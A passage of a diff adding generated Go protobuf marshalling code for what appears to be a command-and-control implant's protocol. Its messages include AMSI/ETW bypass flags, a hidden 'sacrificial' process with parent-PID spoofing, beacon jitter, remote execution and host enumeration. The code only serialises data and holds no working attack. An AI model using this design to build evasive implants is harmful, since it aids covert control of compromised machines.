m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Timestamp != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timestamp)) + i-- + dAtA[i] = 0x10 + } + if m.Type != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Type)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Request) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Request) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Request) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x2a + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Input) > 0 { + i -= len(m.Input) + copy(dAtA[i:], m.Input) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Input))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Response) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Response) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Response) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Array) > 0 { + for iNdEx := len(m.Array) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Array[iNdEx]) + copy(dAtA[i:], m.Array[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Array[iNdEx]))) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Kv) > 0 { + for k := range m.Kv { + v := m.Kv[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Error) > 0 { + i -= len(m.Error) + copy(dAtA[i:], m.Error) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Error))) + i-- + dAtA[i] = 0x12 + } + if len(m.Output) > 0 { + i -= len(m.Output) + copy(dAtA[i:], m.Output) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Output))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *BypassRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *BypassRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *BypassRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.BlockDll { + i-- + if m.BlockDll { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.AMSI { + i-- + if m.AMSI { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.ETW { + i-- + if m.ETW { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *NetInterface) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *NetInterface) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *NetInterface) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.IpAddresses) > 0 { + for iNdEx := len(m.IpAddresses) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.IpAddresses[iNdEx]) + copy(dAtA[i:], m.IpAddresses[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.IpAddresses[iNdEx]))) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Mac) > 0 { + i -= len(m.Mac) + copy(dAtA[i:], m.Mac) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Mac))) + i-- + dAtA[i] = 0x1a + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x12 + } + if m.Index != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Index)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *SockTabEntry) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SockTabEntry) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *SockTabEntry) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Protocol) > 0 { + i -= len(m.Protocol) + copy(dAtA[i:], m.Protocol) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Protocol))) + i-- + dAtA[i] = 0x32 + } + if len(m.Pid) > 0 { + i -= len(m.Pid) + copy(dAtA[i:], m.Pid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Pid))) + i-- + dAtA[i] = 0x2a + } + if len(m.SkState) > 0 { + i -= len(m.SkState) + copy(dAtA[i:], m.SkState) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SkState))) + i-- + dAtA[i] = 0x1a + } + if len(m.RemoteAddr) > 0 { + i -= len(m.RemoteAddr) + copy(dAtA[i:], m.RemoteAddr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.RemoteAddr))) + i-- + dAtA[i] = 0x12 + } + if len(m.LocalAddr) > 0 { + i -= len(m.LocalAddr) + copy(dAtA[i:], m.LocalAddr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.LocalAddr))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *NetstatResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *NetstatResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *NetstatResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Socks) > 0 { + for iNdEx := len(m.Socks) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Socks[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Block) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Block) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Block) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Content) > 0 { + i -= len(m.Content) + copy(dAtA[i:], m.Content) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Content))) + i-- + dAtA[i] = 0x12 + } + if m.BlockId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.BlockId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *ACK) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ACK) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ACK) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.Success { + i-- + if m.Success { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.Id != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Id)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Os) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Os) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Os) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.ClrVersion) > 0 { + for iNdEx := len(m.ClrVersion) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.ClrVersion[iNdEx]) + copy(dAtA[i:], m.ClrVersion[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ClrVersion[iNdEx]))) + i-- + dAtA[i] = 0x42 + } + } + if len(m.Locale) > 0 { + i -= len(m.Locale) + copy(dAtA[i:], m.Locale) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Locale))) + i-- + dAtA[i] = 0x3a + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + copy(dAtA[i:], m.Hostname) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0x32 + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0x2a + } + if len(m.Arch) > 0 { + i -= len(m.Arch) + copy(dAtA[i:], m.Arch) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Arch))) + i-- + dAtA[i] = 0x22 + } + if len(m.Release) > 0 { + i -= len(m.Release) + copy(dAtA[i:], m.Release) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Release))) + i-- + dAtA[i] = 0x1a + } + if len(m.Version) > 0 { + i -= len(m.Version) + copy(dAtA[i:], m.Version) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Version))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Process) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Process) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Process) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Uid) > 0 { + i -= len(m.Uid) + copy(dAtA[i:], m.Uid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Uid))) + i-- + dAtA[i] = 0x42 + } + if len(m.Args) > 0 { + i -= len(m.Args) + copy(dAtA[i:], m.Args) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args))) + i-- + dAtA[i] = 0x3a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x32 + } + if len(m.Arch) > 0 { + i -= len(m.Arch) + copy(dAtA[i:], m.Arch) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Arch))) + i-- + dAtA[i] = 0x2a + } + if len(m.Owner) > 0 { + i -= len(m.Owner) + copy(dAtA[i:], m.Owner) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Owner))) + i-- + dAtA[i] = 0x22 + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x18 + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Timer) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Timer) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Timer) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Jitter != 0 { + i -= 8 + binary.LittleEndian.PutUint64(dAtA[i:], uint64(math.Float64bits(float64(m.Jitter)))) + i-- + dAtA[i] = 0x11 + } + if len(m.Expression) > 0 { + i -= len(m.Expression) + copy(dAtA[i:], m.Expression) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Expression))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *FileInfo) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *FileInfo) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *FileInfo) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Link) > 0 { + i -= len(m.Link) + copy(dAtA[i:], m.Link) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Link))) + i-- + dAtA[i] = 0x32 + } + if m.Mode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Mode)) + i-- + dAtA[i] = 0x28 + } + if m.ModTime != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ModTime)) + i-- + dAtA[i] = 0x20 + } + if m.Size != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Size)) + i-- + dAtA[i] = 0x18 + } + if m.IsDir { + i-- + if m.IsDir { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *SacrificeProcess) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SacrificeProcess) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *SacrificeProcess) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Argue) > 0 { + i -= len(m.Argue) + copy(dAtA[i:], m.Argue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Argue))) + i-- + dAtA[i] = 0x2a + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x20 + } + if m.Etw { + i-- + if m.Etw { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.BlockDll { + i-- + if m.BlockDll { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.Hidden { + i-- + if m.Hidden { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *LsResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LsResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *LsResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Files) > 0 { + for iNdEx := len(m.Files) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Files[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1a + } + } + if m.Exists { + i-- + if m.Exists { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DriveInfo) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DriveInfo) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *DriveInfo) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.FileSystem) > 0 { + i -= len(m.FileSystem) + copy(dAtA[i:], m.FileSystem) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.FileSystem))) + i-- + dAtA[i] = 0x2a + } + if m.FreeSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.FreeSize)) + i-- + dAtA[i] = 0x20 + } + if m.TotalSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TotalSize)) + i-- + dAtA[i] = 0x18 + } + if len(m.DriveType) > 0 { + i -= len(m.DriveType) + copy(dAtA[i:], m.DriveType) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DriveType))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *EnumDriversResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *EnumDriversResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *EnumDriversResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Drives) > 0 { + for iNdEx := len(m.Drives) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Drives[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *PsResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PsResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *PsResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Processes) > 0 { + for iNdEx := len(m.Processes) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Processes[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *ExecRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ExecRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x50 + } + if m.Realtime { + i-- + if m.Realtime { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if m.Singleton { + i-- + if m.Singleton { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if m.Output { + i-- + if m.Output { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x12 + } + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ExecResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x20 + } + if len(m.Stderr) > 0 { + i -= len(m.Stderr) + copy(dAtA[i:], m.Stderr) + i = 